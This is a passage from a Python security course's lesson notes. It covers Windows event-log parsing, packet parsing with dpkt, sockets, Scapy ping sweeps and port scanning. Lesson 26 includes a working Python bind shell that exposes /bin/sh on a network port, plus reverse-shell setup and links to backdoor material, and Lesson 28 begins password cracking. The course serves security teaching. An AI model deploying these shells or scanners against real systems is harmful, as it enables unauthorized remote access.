| 913 | print '%-8s: %s - %-8s: %s' % ('Event ID',event_id,'Event',node.getElementsByTagName('string')[1].childNodes[0].nodeValue)
| |
| 914 | except: | |
| 915 | print '%-8s: %s - %-8s: %s' % ('Event ID',event_id,'Event','Name not found')
| |
| 916 | event_num -= 1 | |
| 917 | length -= 1 | |
| 918 | except: | |
| 919 | length -= 1 | |
| 920 | else: | |
| 921 | sys.exit('...Search Complete...')
| |
| 922 | ||
| 923 | ||
| 924 | ||
| 925 | -------------TASK 2------------ | |
| 926 | vi readevtx2.py | |
| 927 | ||
| 928 | import mmap | |
| 929 | import re | |
| 930 | import contextlib | |
| 931 | import sys | |
| 932 | import operator | |
| 933 | import HTMLParser | |
| 934 | from xml.dom import minidom | |
| 935 | from operator import itemgetter, attrgetter | |
| 936 | ||
| 937 | from Evtx.Evtx import FileHeader | |
| 938 | from Evtx.Views import evtx_file_xml_view | |
| 939 | ||
| 940 | pars = HTMLParser.HTMLParser() | |
| 941 | print pars.unescape('<Data Name="MaxPasswordAge">&12856;"</Data>')
| |
| 942 | file_name = str(raw_input('Enter EVTX file name without extension : '))
| |
| 943 | file_name = 'WIN-M751BADISCT_System' | |
| 944 | with open(file_name+'.evtx', 'r') as f: | |
| 945 | with contextlib.closing(mmap.mmap(f.fileno(), 0, | |
| 946 | access=mmap.ACCESS_READ)) as buf: | |
| 947 | fh = FileHeader(buf, 0x0) | |
| 948 | xml_file = "<?xml version=\"1.0\" encoding=\"utf-8\" standalone=\"yes\" ?><Events>" | |
| 949 | try: | |
| 950 | for xml, record in evtx_file_xml_view(fh): | |
| 951 | xml_file += xml | |
| 952 | except: | |
| 953 | pass | |
| 954 | xml_file += "</Events>" | |
| 955 | xml_file = re.sub('<NULL>', '<NULL></NULL>', xml_file)
| |
| 956 | xml_file = re.sub('<local>', '<local></local>', xml_file)
| |
| 957 | xml_file = re.sub('&', '&', xml_file)
| |
| 958 | f = open(file_name+'.xml', 'w') | |
| 959 | f.write(xml_file) | |
| 960 | f.close() | |
| 961 | try: | |
| 962 | xmldoc = minidom.parse(file_name+'.xml') | |
| 963 | except: | |
| 964 | sys.exit('Invalid file...')
| |
| 965 | grandNode = xmldoc.firstChild | |
| 966 | nodes = grandNode.getElementsByTagName('Event')
| |
| 967 | ||
| 968 | event = int(raw_input('Enter Event ID : '))
| |
| 969 | event_id = 0 | |
| 970 | for node in nodes: | |
| 971 | try: | |
| 972 | event_id = node.getElementsByTagName('EventID')[0].childNodes[0].nodeValue
| |
| 973 | if int(event_id) == event: | |
| 974 | try: | |
| 975 | print '%-8s: %s - %-8s: %s' % ('Event ID',event_id,'Event',node.getElementsByTagName('string')[1].childNodes[0].nodeValue)
| |
| 976 | except: | |
| 977 | print '%-8s: %s - %-8s: %s' % ('Event ID',event_id,'Event','Name not found')
| |
| 978 | except: | |
| 979 | continue | |
| 980 | sys.exit('...Search Complete...')
| |
| 981 | ||
| 982 | ||
| 983 | ||
| 984 | -------------TASK 3------------ | |
| 985 | vi readevtx3.py | |
| 986 | ||
| 987 | import mmap | |
| 988 | import re | |
| 989 | import contextlib | |
| 990 | import sys | |
| 991 | import operator | |
| 992 | import HTMLParser | |
| 993 | from xml.dom import minidom | |
| 994 | from operator import itemgetter, attrgetter | |
| 995 | ||
| 996 | from Evtx.Evtx import FileHeader | |
| 997 | from Evtx.Views import evtx_file_xml_view | |
| 998 | ||
| 999 | pars = HTMLParser.HTMLParser() | |
| 1000 | print pars.unescape('<Data Name="MaxPasswordAge">&12856;"</Data>')
| |
| 1001 | file_name = str(raw_input('Enter EVTX file name without extension : '))
| |
| 1002 | file_name = 'WIN-M751BADISCT_System' | |
| 1003 | with open(file_name+'.evtx', 'r') as f: | |
| 1004 | with contextlib.closing(mmap.mmap(f.fileno(), 0, | |
| 1005 | access=mmap.ACCESS_READ)) as buf: | |
| 1006 | fh = FileHeader(buf, 0x0) | |
| 1007 | xml_file = "<?xml version=\"1.0\" encoding=\"utf-8\" standalone=\"yes\" ?><Events>" | |
| 1008 | try: | |
| 1009 | for xml, record in evtx_file_xml_view(fh): | |
| 1010 | xml_file += xml | |
| 1011 | except: | |
| 1012 | pass | |
| 1013 | xml_file += "</Events>" | |
| 1014 | xml_file = re.sub('<NULL>', '<NULL></NULL>', xml_file)
| |
| 1015 | xml_file = re.sub('<local>', '<local></local>', xml_file)
| |
| 1016 | xml_file = re.sub('&', '&', xml_file)
| |
| 1017 | f = open(file_name+'.xml', 'w') | |
| 1018 | f.write(xml_file) | |
| 1019 | f.close() | |
| 1020 | try: | |
| 1021 | xmldoc = minidom.parse(file_name+'.xml') | |
| 1022 | except: | |
| 1023 | sys.exit('Invalid file...')
| |
| 1024 | grandNode = xmldoc.firstChild | |
| 1025 | nodes = grandNode.getElementsByTagName('Event')
| |
| 1026 | ||
| 1027 | event = int(raw_input('Enter Event ID : '))
| |
| 1028 | event_id = 0 | |
| 1029 | event_count = 0; | |
| 1030 | for node in nodes: | |
| 1031 | try: | |
| 1032 | event_id = node.getElementsByTagName('EventID')[0].childNodes[0].nodeValue
| |
| 1033 | if int(event_id) == event: | |
| 1034 | event_count += 1 | |
| 1035 | except: | |
| 1036 | continue | |
| 1037 | print '%-8s: %s - %-8s: %s' % ('Event ID',event,'Count',event_count)
| |
| 1038 | sys.exit('...Search Complete...')
| |
| 1039 | ||
| 1040 | ||
| 1041 | ||
| 1042 | -------------TASK 4------------ | |
| 1043 | vi readevtx4.py | |
| 1044 | ||
| 1045 | import mmap | |
| 1046 | import re | |
| 1047 | import contextlib | |
| 1048 | import sys | |
| 1049 | import operator | |
| 1050 | import HTMLParser | |
| 1051 | from xml.dom import minidom | |
| 1052 | from operator import itemgetter, attrgetter | |
| 1053 | ||
| 1054 | from Evtx.Evtx import FileHeader | |
| 1055 | from Evtx.Views import evtx_file_xml_view | |
| 1056 | ||
| 1057 | pars = HTMLParser.HTMLParser() | |
| 1058 | print pars.unescape('<Data Name="MaxPasswordAge">&12856;"</Data>')
| |
| 1059 | file_name = str(raw_input('Enter EVTX file name without extension : '))
| |
| 1060 | file_name = 'WIN-M751BADISCT_System' | |
| 1061 | with open(file_name+'.evtx', 'r') as f: | |
| 1062 | with contextlib.closing(mmap.mmap(f.fileno(), 0, | |
| 1063 | access=mmap.ACCESS_READ)) as buf: | |
| 1064 | fh = FileHeader(buf, 0x0) | |
| 1065 | xml_file = "<?xml version=\"1.0\" encoding=\"utf-8\" standalone=\"yes\" ?><Events>" | |
| 1066 | try: | |
| 1067 | for xml, record in evtx_file_xml_view(fh): | |
| 1068 | xml_file += xml | |
| 1069 | except: | |
| 1070 | pass | |
| 1071 | xml_file += "</Events>" | |
| 1072 | xml_file = re.sub('<NULL>', '<NULL></NULL>', xml_file)
| |
| 1073 | xml_file = re.sub('<local>', '<local></local>', xml_file)
| |
| 1074 | xml_file = re.sub('&', '&', xml_file)
| |
| 1075 | f = open(file_name+'.xml', 'w') | |
| 1076 | f.write(xml_file) | |
| 1077 | f.close() | |
| 1078 | try: | |
| 1079 | xmldoc = minidom.parse(file_name+'.xml') | |
| 1080 | except: | |
| 1081 | sys.exit('Invalid file...')
| |
| 1082 | grandNode = xmldoc.firstChild | |
| 1083 | nodes = grandNode.getElementsByTagName('Event')
| |
| 1084 | ||
| 1085 | events = [] | |
| 1086 | event_id = 0 | |
| 1087 | count = 0 | |
| 1088 | for node in nodes: | |
| 1089 | try: | |
| 1090 | event_id = node.getElementsByTagName('EventID')[0].childNodes[0].nodeValue
| |
| 1091 | try: | |
| 1092 | events.append({'event_id' : int(event_id), 'event_name' : node.getElementsByTagName('string')[1].childNodes[0].nodeValue})
| |
| 1093 | except: | |
| 1094 | events.append({'event_id' : int(event_id), 'event_name' : 'Name not found...'})
| |
| 1095 | count += 1 | |
| 1096 | except: | |
| 1097 | continue | |
| 1098 | events = sorted(events, key=itemgetter('event_id'))
| |
| 1099 | for e in events: | |
| 1100 | print e | |
| 1101 | sys.exit('...Search Complete...')
| |
| 1102 | ||
| 1103 | ||
| 1104 | ||
| 1105 | ||
| 1106 | ||
| 1107 | ||
| 1108 | ||
| 1109 | ||
| 1110 | ||
| 1111 | ################################################# | |
| 1112 | # Lesson 18: Parsing Packets with Python's DPKT # | |
| 1113 | ################################################# | |
| 1114 | The first thing that you will need to do is install dpkt. | |
| 1115 | ||
| 1116 | sudo apt-get install -y python-dpkt | |
| 1117 | ||
| 1118 | ||
| 1119 | ||
| 1120 | ||
| 1121 | Now cd to your courseware directory, and the cd into the subfolder '2-PCAP-Parsing/Resources'. | |
| 1122 | Run tcpdump to capture a .pcap file that we will use for the next exercise | |
| 1123 | ||
| 1124 | ||
| 1125 | sudo tcpdump -ni eth0 -s0 -w quick.pcap | |
| 1126 | ||
| 1127 | ||
| 1128 | --open another command prompt-- | |
| 1129 | wget http://packetlife.net/media/library/12/tcpdump.pdf | |
| 1130 | ||
| 1131 | ||
| 1132 | Let's do something simple: | |
| 1133 | ||
| 1134 | ||
| 1135 | vi quickpcap.py | |
| 1136 | -------------------------------------------------------- | |
| 1137 | ||
| 1138 | #!/usr/bin/python | |
| 1139 | import dpkt; | |
| 1140 | ||
| 1141 | # Simple script to read the timestamps in a pcap file | |
| 1142 | # Reference: http://superbabyfeng.blogspot.com/2009/05/dpkt-tutorial-0-simple-example-how-to.html | |
| 1143 | ||
| 1144 | f = open("quick.pcap","rb")
| |
| 1145 | pcap = dpkt.pcap.Reader(f) | |
| 1146 | ||
| 1147 | for ts, buf in pcap: | |
| 1148 | print ts; | |
| 1149 | ||
| 1150 | f.close(); | |
| 1151 | ||
| 1152 | ||
| 1153 | -------------------------------------------------------- | |
| 1154 | ||
| 1155 | Now let's run the script we just wrote | |
| 1156 | ||
| 1157 | ||
| 1158 | python quickpcap.py | |
| 1159 | ||
| 1160 | ||
| 1161 | ||
| 1162 | ||
| 1163 | How dpkt breaks down a packet: | |
| 1164 | ||
| 1165 | Reference: | |
| 1166 | http://superbabyfeng.blogspot.com/2009/05/dpkt-tutorial-1-dpkt-sub-modules.html | |
| 1167 | ||
| 1168 | src: the MAC address of SOURCE. | |
| 1169 | dst: The MAC address of DESTINATION | |
| 1170 | type: The protocol type of contained ethernet payload. | |
| 1171 | ||
| 1172 | The allowed values are listed in the file "ethernet.py", | |
| 1173 | such as: | |
| 1174 | a) ETH_TYPE_IP: It means that the ethernet payload is IP layer data. | |
| 1175 | b) ETH_TYPE_IPX: Means that the ethernet payload is IPX layer data. | |
| 1176 | ||
| 1177 | ||
| 1178 | References: | |
| 1179 | http://stackoverflow.com/questions/6337878/parsing-pcap-files-with-dpkt-python | |
| 1180 | ||
| 1181 | ||
| 1182 | ||
| 1183 | ||
| 1184 | ||
| 1185 | ||
| 1186 | Ok - now let's have a look at pcapparsing.py | |
| 1187 | ||
| 1188 | sudo tcpdump -ni eth0 -s0 -w capture-100.pcap | |
| 1189 | ||
| 1190 | ||
| 1191 | --open another command prompt-- | |
| 1192 | wget http://packetlife.net/media/library/13/Wireshark_Display_Filters.pdf | |
| 1193 | ||
| 1194 | ||
| 1195 | ||
| 1196 | Ok - now let's have a look at pcapparsing.py | |
| 1197 | -------------------------------------------------------- | |
| 1198 | ||
| 1199 | import socket | |
| 1200 | import dpkt | |
| 1201 | import sys | |
| 1202 | f = open('capture-100.pcap','r')
| |
| 1203 | pcapReader = dpkt.pcap.Reader(f) | |
| 1204 | ||
| 1205 | for ts,data in pcapReader: | |
| 1206 | ether = dpkt.ethernet.Ethernet(data) | |
| 1207 | if ether.type != dpkt.ethernet.ETH_TYPE_IP: raise | |
| 1208 | ip = ether.data | |
| 1209 | tcp = ip.data | |
| 1210 | src = socket.inet_ntoa(ip.src) | |
| 1211 | srcport = tcp.sport | |
| 1212 | dst = socket.inet_ntoa(ip.dst) | |
| 1213 | dstport = tcp.dport | |
| 1214 | print "src: %s (port : %s)-> dest: %s (port %s)" % (src,srcport ,dst,dstport) | |
| 1215 | ||
| 1216 | f.close() | |
| 1217 | ||
| 1218 | -------------------------------------------------------- | |
| 1219 | ||
| 1220 | ||
| 1221 | ||
| 1222 | OK - let's run it: | |
| 1223 | python pcapparsing.py | |
| 1224 | ||
| 1225 | ||
| 1226 | ||
| 1227 | running this script might throw an error like this: | |
| 1228 | ||
| 1229 | Traceback (most recent call last): | |
| 1230 | File "pcapparsing.py", line 9, in <module> | |
| 1231 | if ether.type != dpkt.ethernet.ETH_TYPE_IP: raise | |
| 1232 | ||
| 1233 | ||
| 1234 | If it does it is just because your packet has something in it that we didn't specify (maybe ICMP, or something) | |
| 1235 | ||
| 1236 | ||
| 1237 | ||
| 1238 | ||
| 1239 | Your homework for today... | |
| 1240 | ||
| 1241 | ||
| 1242 | Rewrite this pcapparsing.py so that it prints out the timestamp, the source and destination IP addresses, and the source and destination ports. | |
| 1243 | ||
| 1244 | ||
| 1245 | ||
| 1246 | ||
| 1247 | ||
| 1248 | ||
| 1249 | Your challenge is to fix the Traceback error | |
| 1250 | ||
| 1251 | ||
| 1252 | ||
| 1253 | ||
| 1254 | #!/usr/bin/python | |
| 1255 | ||
| 1256 | import pcapy | |
| 1257 | import dpkt | |
| 1258 | import sys | |
| 1259 | import socket | |
| 1260 | import struct | |
| 1261 | ||
| 1262 | SINGLE_SHOT = False | |
| 1263 | ||
| 1264 | # list all the network devices | |
| 1265 | pcapy.findalldevs() | |
| 1266 | ||
| 1267 | iface = "eth0" | |
| 1268 | filter = "arp" | |
| 1269 | max_bytes = 1024 | |
| 1270 | promiscuous = False | |
| 1271 | read_timeout = 100 # in milliseconds | |
| 1272 | ||
| 1273 | pc = pcapy.open_live( iface, max_bytes, promiscuous, read_timeout ) | |
| 1274 | pc.setfilter( filter ) | |
| 1275 | ||
| 1276 | # callback for received packets | |
| 1277 | def recv_pkts( hdr, data ): | |
| 1278 | packet = dpkt.ethernet.Ethernet( data ) | |
| 1279 | ||
| 1280 | print type( packet.data ) | |
| 1281 | print "ipsrc: %s, ipdst: %s" %( \ | |
| 1282 | socket.inet_ntoa( packet.data.spa ), \ | |
| 1283 | socket.inet_ntoa( packet.data.tpa ) ) | |
| 1284 | ||
| 1285 | print "macsrc: %s, macdst: %s " % ( | |
| 1286 | "%x:%x:%x:%x:%x:%x" % struct.unpack("BBBBBB",packet.data.sha),
| |
| 1287 | "%x:%x:%x:%x:%x:%x" % struct.unpack("BBBBBB",packet.data.tha ) )
| |
| 1288 | ||
| 1289 | if SINGLE_SHOT: | |
| 1290 | header, data = pc.next() | |
| 1291 | sys.exit(0) | |
| 1292 | else: | |
| 1293 | packet_limit = -1 # infinite | |
| 1294 | pc.loop( packet_limit, recv_pkts ) # capture packets | |
| 1295 | ||
| 1296 | ||
| 1297 | ||
| 1298 | ||
| 1299 | ||
| 1300 | ||
| 1301 | ||
| 1302 | ||
| 1303 | ############################# | |
| 1304 | # Reference Videos To Watch # | |
| 1305 | ############################# | |
| 1306 | Here is your second set of youtube videos that I'd like for you to watch: | |
| 1307 | https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 11-20) | |
| 1308 | ||
| 1309 | ||
| 1310 | ||
| 1311 | ||
| 1312 | ############################################# | |
| 1313 | # Lesson 19: Python Sockets & Port Scanning # | |
| 1314 | ############################################# | |
| 1315 | ||
| 1316 | ||
| 1317 | $ ncat -l -v -p 1234 | |
| 1318 | ||
| 1319 | ||
| 1320 | ||
| 1321 | ||
| 1322 | --open another terminal-- | |
| 1323 | python | |
| 1324 | ||
| 1325 | >>> import socket | |
| 1326 | >>> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
| 1327 | >>> s.connect(('localhost', 1234))
| |
| 1328 | >>> s.send('Hello, world')
| |
| 1329 | >>> data = s.recv(1024) | |
| 1330 | >>> s.close() | |
| 1331 | ||
| 1332 | >>> print 'Received', 'data' | |
| 1333 | ||
| 1334 | ||
| 1335 | ||
| 1336 | ||
| 1337 | ||
| 1338 | ||
| 1339 | ######################################## | |
| 1340 | # Lesson 20: TCP Client and TCP Server # | |
| 1341 | ######################################## | |
| 1342 | ||
| 1343 | vi tcpclient.py | |
| 1344 | ||
| 1345 | ||
| 1346 | ||
| 1347 | #!/usr/bin/python | |
| 1348 | # tcpclient.py | |
| 1349 | ||
| 1350 | import socket | |
| 1351 | ||
| 1352 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
| 1353 | hostport = ("127.0.0.1", 1337)
| |
| 1354 | s.connect(hostport) | |
| 1355 | s.send("Hello\n")
| |
| 1356 | buf = s.recv(1024) | |
| 1357 | print "Received", buf | |
| 1358 | ||
| 1359 | ||
| 1360 | ||
| 1361 | ||
| 1362 | ||
| 1363 | ||
| 1364 | ||
| 1365 | ||
| 1366 | ||
| 1367 | vi tcpserver.py | |
| 1368 | ||
| 1369 | ||
| 1370 | ||
| 1371 | ||
| 1372 | ||
| 1373 | #!/usr/bin/python | |
| 1374 | # tcpserver.py | |
| 1375 | ||
| 1376 | import socket | |
| 1377 | ||
| 1378 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
| 1379 | hostport = ("", 1337)
| |
| 1380 | s.bind(hostport) | |
| 1381 | s.listen(10) | |
| 1382 | while 1: | |
| 1383 | cli,addr = s.accept() | |
| 1384 | print "Connection from", addr | |
| 1385 | buf = cli.recv(1024) | |
| 1386 | print "Received", buf | |
| 1387 | if buf == "Hello\n": | |
| 1388 | cli.send("Server ID 1\n")
| |
| 1389 | cli.close() | |
| 1390 | ||
| 1391 | ||
| 1392 | ||
| 1393 | ||
| 1394 | ||
| 1395 | ||
| 1396 | ||
| 1397 | ||
| 1398 | python tcpserver.py | |
| 1399 | ||
| 1400 | ||
| 1401 | --open another terminal-- | |
| 1402 | python tcpclient.py | |
| 1403 | ||
| 1404 | ||
| 1405 | ######################################## | |
| 1406 | # Lesson 21: UDP Client and UDP Server # | |
| 1407 | ######################################## | |
| 1408 | ||
| 1409 | vi udpclient.py | |
| 1410 | ||
| 1411 | ||
| 1412 | ||
| 1413 | ||
| 1414 | ||
| 1415 | ||
| 1416 | #!/usr/bin/python | |
| 1417 | # udpclient.py | |
| 1418 | ||
| 1419 | import socket | |
| 1420 | ||
| 1421 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) | |
| 1422 | hostport = ("127.0.0.1", 1337)
| |
| 1423 | s.sendto("Hello\n", hostport)
| |
| 1424 | buf = s.recv(1024) | |
| 1425 | print buf | |
| 1426 | ||
| 1427 | ||
| 1428 | ||
| 1429 | ||
| 1430 | ||
| 1431 | ||
| 1432 | ||
| 1433 | ||
| 1434 | ||
| 1435 | vi udpserver.py | |
| 1436 | ||
| 1437 | ||
| 1438 | ||
| 1439 | ||
| 1440 | ||
| 1441 | ||
| 1442 | #!/usr/bin/python | |
| 1443 | # udpserver.py | |
| 1444 | ||
| 1445 | import socket | |
| 1446 | ||
| 1447 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) | |
| 1448 | hostport = ("127.0.0.1", 1337)
| |
| 1449 | s.bind(hostport) | |
| 1450 | while 1: | |
| 1451 | buf, address = s.recvfrom(1024) | |
| 1452 | print buf | |
| 1453 | if buf == "Hello\n": | |
| 1454 | s.sendto("Server ID 1\n", address)
| |
| 1455 | ||
| 1456 | ||
| 1457 | ||
| 1458 | ||
| 1459 | ||
| 1460 | ||
| 1461 | python udpserver.py | |
| 1462 | ||
| 1463 | ||
| 1464 | --open another terminal-- | |
| 1465 | python udpclient.py | |
| 1466 | ||
| 1467 | ||
| 1468 | ||
| 1469 | ||
| 1470 | ||
| 1471 | ||
| 1472 | ############################### | |
| 1473 | # Lesson 22: Installing Scapy # | |
| 1474 | ############################### | |
| 1475 | ||
| 1476 | sudo apt-get update | |
| 1477 | sudo apt-get install python-scapy python-pyx python-gnuplot | |
| 1478 | ||
| 1479 | ||
| 1480 | Reference Page For All Of The Commands We Will Be Running: | |
| 1481 | http://samsclass.info/124/proj11/proj17-scapy.html | |
| 1482 | ||
| 1483 | Great slides for Scapy: | |
| 1484 | http://www.secdev.org/conf/scapy_csw05.pdf | |
| 1485 | ||
| 1486 | ||
| 1487 | ||
| 1488 | ||
| 1489 | To run Scapy interactively | |
| 1490 | ||
| 1491 | sudo scapy | |
| 1492 | ||
| 1493 | ||
| 1494 | ||
| 1495 | ################################################ | |
| 1496 | # Lesson 23: Sending ICMPv4 Packets with scapy # | |
| 1497 | ################################################ | |
| 1498 | ||
| 1499 | In the Linux machine, in the Terminal window, at the >>> prompt, type this command, and then press the Enter key: | |
| 1500 | ||
| 1501 | i = IP() | |
| 1502 | ||
| 1503 | ||
| 1504 | ||
| 1505 | ||
| 1506 | This creates an object named i of type IP. To see the properties of that object, use the display() method with this command: | |
| 1507 | ||
| 1508 | i.display() | |
| 1509 | ||
| 1510 | ||
| 1511 | ||
| 1512 | ||
| 1513 | Use these commands to set the destination IP address and display the properties of the i object again. Replace the IP address in the first command with the IP address of your target Windows machine: | |
| 1514 | ||
| 1515 | i.dst="10.65.75.49" | |
| 1516 | ||
| 1517 | i.display() | |
| 1518 | ||
| 1519 | ||
| 1520 | ||
| 1521 | ||
| 1522 | Notice that scapy automatically fills in your machine's source IP address. | |
| 1523 | ||
| 1524 | Use these commands to create an object named ic of type ICMP and display its properties: | |
| 1525 | ||
| 1526 | ||
| 1527 | ic = ICMP() | |
| 1528 | ||
| 1529 | ic.display() | |
| 1530 | ||
| 1531 | ||
| 1532 | ||
| 1533 | ||
| 1534 | ||
| 1535 | Use this command to send the packet onto the network and listen to a single packet in response. Note that the third character is the numeral 1, not a lowercase L: | |
| 1536 | ||
| 1537 | sr1(i/ic) | |
| 1538 | ||
| 1539 | ||
| 1540 | ||
| 1541 | ||
| 1542 | ||
| 1543 | This command sends and receives one packet, of type IP at layer 3 and ICMP at layer 4. As you can see in the image above, the response is shown, with ICMP type echo-reply. | |
| 1544 | ||
| 1545 | The Padding section shows the portion of the packet that carries higher-level data. In this case it contains only zeroes as padding. | |
| 1546 | ||
| 1547 | Use this command to send a packet that is IP at layer 3, ICMP at layer 4, and that contains data with your name in it (replace YOUR NAME with your own name): | |
| 1548 | ||
| 1549 | ||
| 1550 | sr1(i/ic/"YOUR NAME") | |
| 1551 | ||
| 1552 | ||
| 1553 | You should see a reply with a Raw section containing your name. | |
| 1554 | ||
| 1555 | ||
| 1556 | ||
| 1557 | ############################################## | |
| 1558 | # Lesson 24: Sending a UDP Packet with Scapy # | |
| 1559 | ############################################## | |
| 1560 | ||
| 1561 | ||
| 1562 | Preparing the Target | |
| 1563 | $ ncat -ulvp 4444 | |
| 1564 | ||
| 1565 | ||
| 1566 | ||
| 1567 | ||
| 1568 | --open another terminal-- | |
| 1569 | In the Linux machine, in the Terminal window, at the >>> prompt, type these commands, and then press the Enter key: | |
| 1570 | ||
| 1571 | u = UDP() | |
| 1572 | ||
| 1573 | u.display() | |
| 1574 | ||
| 1575 | ||
| 1576 | ||
| 1577 | This creates an object named u of type UDP, and displays its properties. | |
| 1578 | ||
| 1579 | Execute these commands to change the destination port to 4444 and display the properties again: | |
| 1580 | ||
| 1581 | i.dst="10.10.2.97" <--- replace this with a host that you can run netcat on (ex: another VM or your host computer) | |
| 1582 | ||
| 1583 | u.dport = 4444 | |
| 1584 | ||
| 1585 | u.display() | |
| 1586 | ||
| 1587 | ||
| 1588 | ||
| 1589 | Execute this command to send the packet to the Windows machine: | |
| 1590 | ||
| 1591 | send(i/u/"YOUR NAME SENT VIA UDP\n") | |
| 1592 | ||
| 1593 | ||
| 1594 | ||
| 1595 | On the Windows target, you should see the message appear | |
| 1596 | ||
| 1597 | ||
| 1598 | ||
| 1599 | ||
| 1600 | ####################################### | |
| 1601 | # Lesson 25: Ping Sweeping with Scapy # | |
| 1602 | ####################################### | |
| 1603 | ||
| 1604 | ||
| 1605 | ||
| 1606 | #!/usr/bin/python | |
| 1607 | from scapy.all import * | |
| 1608 | ||
| 1609 | TIMEOUT = 2 | |
| 1610 | conf.verb = 0 | |
| 1611 | for ip in range(0, 256): | |
| 1612 | packet = IP(dst="10.10.30." + str(ip), ttl=20)/ICMP() | |
| 1613 | reply = sr1(packet, timeout=TIMEOUT) | |
| 1614 | if not (reply is None): | |
| 1615 | print reply.dst, "is online" | |
| 1616 | else: | |
| 1617 | print "Timeout waiting for %s" % packet[IP].dst | |
| 1618 | ||
| 1619 | ||
| 1620 | ||
| 1621 | ############################################### | |
| 1622 | # Checking out some scapy based port scanners # | |
| 1623 | ############################################### | |
| 1624 | ||
| 1625 | wget https://s3.amazonaws.com/SecureNinja/Python/rdp_scan.py | |
| 1626 | ||
| 1627 | cat rdp_scan.py | |
| 1628 | ||
| 1629 | sudo python rdp_scan.py 10.10.30.250 | |
| 1630 | ||
| 1631 | ||
| 1632 | ||
| 1633 | ###################################### | |
| 1634 | # Dealing with conf.verb=0 NameError # | |
| 1635 | ###################################### | |
| 1636 | ||
| 1637 | conf.verb = 0 | |
| 1638 | NameError: name 'conf' is not defined | |
| 1639 | ||
| 1640 | Fixing scapy - some scripts are written for the old version of scapy so you'll have to change the following line from: | |
| 1641 | ||
| 1642 | from scapy import * | |
| 1643 | to | |
| 1644 | from scapy.all import * | |
| 1645 | ||
| 1646 | ||
| 1647 | ||
| 1648 | Reference: | |
| 1649 | http://hexale.blogspot.com/2008/10/wifizoo-and-new-version-of-scapy.html | |
| 1650 | ||
| 1651 | ||
| 1652 | conf.verb=0 is a verbosity setting (configuration/verbosity = conv | |
| 1653 | ||
| 1654 | ||
| 1655 | ||
| 1656 | Here are some good Scapy references: | |
| 1657 | http://www.secdev.org/projects/scapy/doc/index.html | |
| 1658 | http://resources.infosecinstitute.com/port-scanning-using-scapy/ | |
| 1659 | http://www.hackerzvoice.net/ouah/blackmagic.txt | |
| 1660 | http://www.workrobot.com/sansfire2009/SCAPY-packet-crafting-reference.html | |
| 1661 | ||
| 1662 | ||
| 1663 | ###################################### | |
| 1664 | # Lesson 26: Bind and Reverse Shells # | |
| 1665 | ###################################### | |
| 1666 | vi simplebindshell.py | |
| 1667 | ||
| 1668 | ||
| 1669 | #!/bin/python | |
| 1670 | import os,sys,socket | |
| 1671 | ||
| 1672 | ls = socket.socket(socket.AF_INET,socket.SOCK_STREAM); | |
| 1673 | print '-Creating socket..' | |
| 1674 | port = 31337 | |
| 1675 | try: | |
| 1676 | ls.bind(('', port))
| |
| 1677 | print '-Binding the port on ' | |
| 1678 | ls.listen(1) | |
| 1679 | print '-Listening, ' | |
| 1680 | (conn, addr) = ls.accept() | |
| 1681 | print '-Waiting for connection...' | |
| 1682 | cli= conn.fileno() | |
| 1683 | print '-Redirecting shell...' | |
| 1684 | os.dup2(cli, 0) | |
| 1685 | print 'In, ' | |
| 1686 | os.dup2(cli, 1) | |
| 1687 | print 'Out, ' | |
| 1688 | os.dup2(cli, 2) | |
| 1689 | print 'Err' | |
| 1690 | print 'Done!' | |
| 1691 | arg0='/bin/sh' | |
| 1692 | arg1='-a' | |
| 1693 | args=[arg0]+[arg1] | |
| 1694 | os.execv(arg0, args) | |
| 1695 | except(socket.error): | |
| 1696 | print 'fail\n' | |
| 1697 | conn.close() | |
| 1698 | sys.exit(1) | |
| 1699 | ||
| 1700 | ||
| 1701 | ||
| 1702 | ||
| 1703 | ||
| 1704 | ||
| 1705 | ||
| 1706 | nc TARGETIP 31337 | |
| 1707 | ||
| 1708 | ||
| 1709 | ||
| 1710 | --------------------- | |
| 1711 | Preparing the target for a reverse shell | |
| 1712 | $ ncat -lvp 4444 | |
| 1713 | ||
| 1714 | ||
| 1715 | ||
| 1716 | --open another terminal-- | |
| 1717 | wget https://www.trustedsec.com/files/simple_py_shell.py | |
| 1718 | ||
| 1719 | vi simple_py_shell.py | |
| 1720 | ||
| 1721 | ||
| 1722 | ||
| 1723 | ||
| 1724 | ||
| 1725 | ||
| 1726 | ------------------------------- | |
| 1727 | Tricky shells | |
| 1728 | ||
| 1729 | Reference: | |
| 1730 | http://securityweekly.com/2011/10/python-one-line-shell-code.html | |
| 1731 | http://resources.infosecinstitute.com/creating-undetectable-custom-ssh-backdoor-python-z/ | |
| 1732 | ||
| 1733 | ||
| 1734 | ||
| 1735 | ||
| 1736 | ||
| 1737 | ||
| 1738 | ############################# | |
| 1739 | # Reference Videos To Watch # | |
| 1740 | ############################# | |
| 1741 | Here is your third set of youtube videos that I'd like for you to watch: | |
| 1742 | https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 21-30) | |
| 1743 | ||
| 1744 | ||
| 1745 | ||
| 1746 | ||
| 1747 | ################################################# | |
| 1748 | # Lesson 27: Python Functions & String Handling # | |
| 1749 | ################################################# | |
| 1750 | ||
| 1751 | Python can make use of functions: | |
| 1752 | http://www.tutorialspoint.com/python/python_functions.htm | |
| 1753 | ||
| 1754 | ||
| 1755 | ||
| 1756 | Python can interact with the 'crypt' function used to create Unix passwords: | |
| 1757 | http://docs.python.org/2/library/crypt.html | |
| 1758 | ||
| 1759 | ||
| 1760 | ||
| 1761 | Tonight we will see a lot of the split() method so be sure to keep the following references close by: | |
| 1762 | http://www.tutorialspoint.com/python/string_split.htm | |
| 1763 | ||
| 1764 | ||
| 1765 | Tonight we will see a lot of slicing so be sure to keep the following references close by: | |
| 1766 | http://techearth.net/python/index.php5?title=Python:Basics:Slices | |
| 1767 | ||
| 1768 | ||
| 1769 | ||
| 1770 | ||
| 1771 | ||
| 1772 | ################################ | |
| 1773 | # Lesson 28: Password Cracking # | |
| 1774 | ################################ | |
| 1775 | ||
| 1776 | wget https://s3.amazonaws.com/SecureNinja/Python/htcrack.py | |
| 1777 | ||
| 1778 | vi htcrack.py | |
| 1779 | ||
| 1780 | vi list.txt | |
| 1781 | ||
| 1782 | hello | |
| 1783 | goodbye | |
| 1784 | red | |
